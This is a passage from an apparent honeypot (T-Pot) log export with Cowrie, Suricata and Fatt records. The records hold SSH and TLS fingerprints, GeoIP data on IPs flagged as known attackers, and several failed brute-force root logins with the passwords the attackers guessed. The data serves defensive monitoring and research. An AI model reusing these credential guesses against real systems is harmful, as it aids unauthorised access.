"timestamp": "2021-09-20T11:33:28.232230Z", "@timestamp": "2021-09-20T11:33:28.232Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........#y.......~.4.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
30229	95.85.8.215	109.199.241.180	Fatt	2021-09-20 14:33:28.23223+03	2021-09-20 14:45:02.729142+03	{"_id": "Pgb7AnwBvYTbRNuEfzvS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "95.85.8.215", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 56288, "dest_port": 22, "timestamp": "2021-09-20T11:33:28.232230", "@timestamp": "2021-09-20T11:33:28.232Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30230	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:33:28.670965+03	2021-09-20 14:45:02.730142+03	{"_id": "QAb7AnwBvYTbRNuEfzvS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "1.117.219.217", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50408, "timestamp": "2021-09-20T11:33:28.670965", "@timestamp": "2021-09-20T11:33:28.670Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30231	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:33:28.444018+03	2021-09-20 14:45:02.731142+03	{"_id": "Swb7AnwBvYTbRNuEgDv_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.login.failed", "message": "login attempt [root/1q2w3e4r5t!@] failed", "session": "9b3f6cfe6b80", "@version": "1", "password": "1q2w3e4r5t!@", "username": "root", "timestamp": "2021-09-20T11:33:28.444018Z", "@timestamp": "2021-09-20T11:33:28.444Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30232	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:33:28.446868+03	2021-09-20 14:45:02.733143+03	{"_id": "TAb7AnwBvYTbRNuEgDv_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "d1a5d8d538f6", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:33:28.446868Z", "@timestamp": "2021-09-20T11:33:28.446Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30233	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:33:28.684446+03	2021-09-20 14:45:02.734142+03	{"_id": "TQb7AnwBvYTbRNuEgDv_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "d1a5d8d538f6", "@version": "1", "timestamp": "2021-09-20T11:33:28.684446Z", "@timestamp": "2021-09-20T11:33:28.684Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30234	42.192.47.188	109.199.241.180	Suricata	2021-09-20 14:33:29.759856+03	2021-09-20 14:45:02.735143+03	{"_id": "Twb7AnwBvYTbRNuEgjun", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:33:28.748680+0000", "pkts_toclient": 2, "pkts_toserver": 4, "bytes_toclient": 163, "bytes_toserver": 1248}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA TCPv4 invalid checksum", "signature_id": 2200074}, "geoip": {"ip": "42.192.47.188", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "42.192.47.188", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1687415098469512, "payload": "zAMAAAYU8TVnQAN8Z2HjMeEU2zKnMgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner"]}, "src_port": 55918, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:33:29.759856Z", "@timestamp": "2021-09-20T11:33:29.759Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......5g@.|ga.1...2.2...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
30235	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:33:29.500594+03	2021-09-20 14:45:02.736143+03	{"_id": "UAb7AnwBvYTbRNuEhDvm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "9b3f6cfe6b80", "@version": "1", "duration": 1.4252243041992188, "timestamp": "2021-09-20T11:33:29.500594Z", "@timestamp": "2021-09-20T11:33:29.500Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30236	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:33:29.609632+03	2021-09-20 14:45:02.738141+03	{"_id": "UQb7AnwBvYTbRNuEhDvm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "770da045cc5b", "@version": "1", "duration": 1.4312622547149658, "timestamp": "2021-09-20T11:33:29.609632Z", "@timestamp": "2021-09-20T11:33:29.609Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30237	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:33:29.759389+03	2021-09-20 14:45:02.739142+03	{"_id": "Ugb7AnwBvYTbRNuEhDvm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.login.failed", "message": "login attempt [root/1QAZ2WSX3EDC] failed", "session": "d1a5d8d538f6", "@version": "1", "password": "1QAZ2WSX3EDC", "username": "root", "timestamp": "2021-09-20T11:33:29.759389Z", "@timestamp": "2021-09-20T11:33:29.759Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30238	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:33:31.014315+03	2021-09-20 14:45:02.740142+03	{"_id": "WAb7AnwBvYTbRNuEiDvP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "d1a5d8d538f6", "@version": "1", "duration": 2.5957207679748535, "timestamp": "2021-09-20T11:33:31.014315Z", "@timestamp": "2021-09-20T11:33:31.014Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30239	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:33:31.000733+03	2021-09-20 14:45:02.741141+03	{"_id": "Wwb7AnwBvYTbRNuEijt4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 42883, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 635, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1809512428879944, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 55146, "timestamp": "2021-09-20T11:33:31.000733Z", "@timestamp": "2021-09-20T11:33:31.000Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30240	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:33:31.644306+03	2021-09-20 14:45:02.742142+03	{"_id": "Xgb7AnwBvYTbRNuEizuM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35364, "dest_port": 443, "timestamp": "2021-09-20T11:33:31.644306", "@timestamp": "2021-09-20T11:33:31.644Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30241	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:33:31.68655+03	2021-09-20 14:45:02.744142+03	{"_id": "Xwb7AnwBvYTbRNuEizuM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35364, "timestamp": "2021-09-20T11:33:31.686550", "@timestamp": "2021-09-20T11:33:31.686Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30242	176.60.208.43	109.199.241.180	Fatt	2021-09-20 14:33:28.128646+03	2021-09-20 14:45:02.745142+03	{"_id": "QQb7AnwBvYTbRNuEfzvS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "176.60.208.43", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": 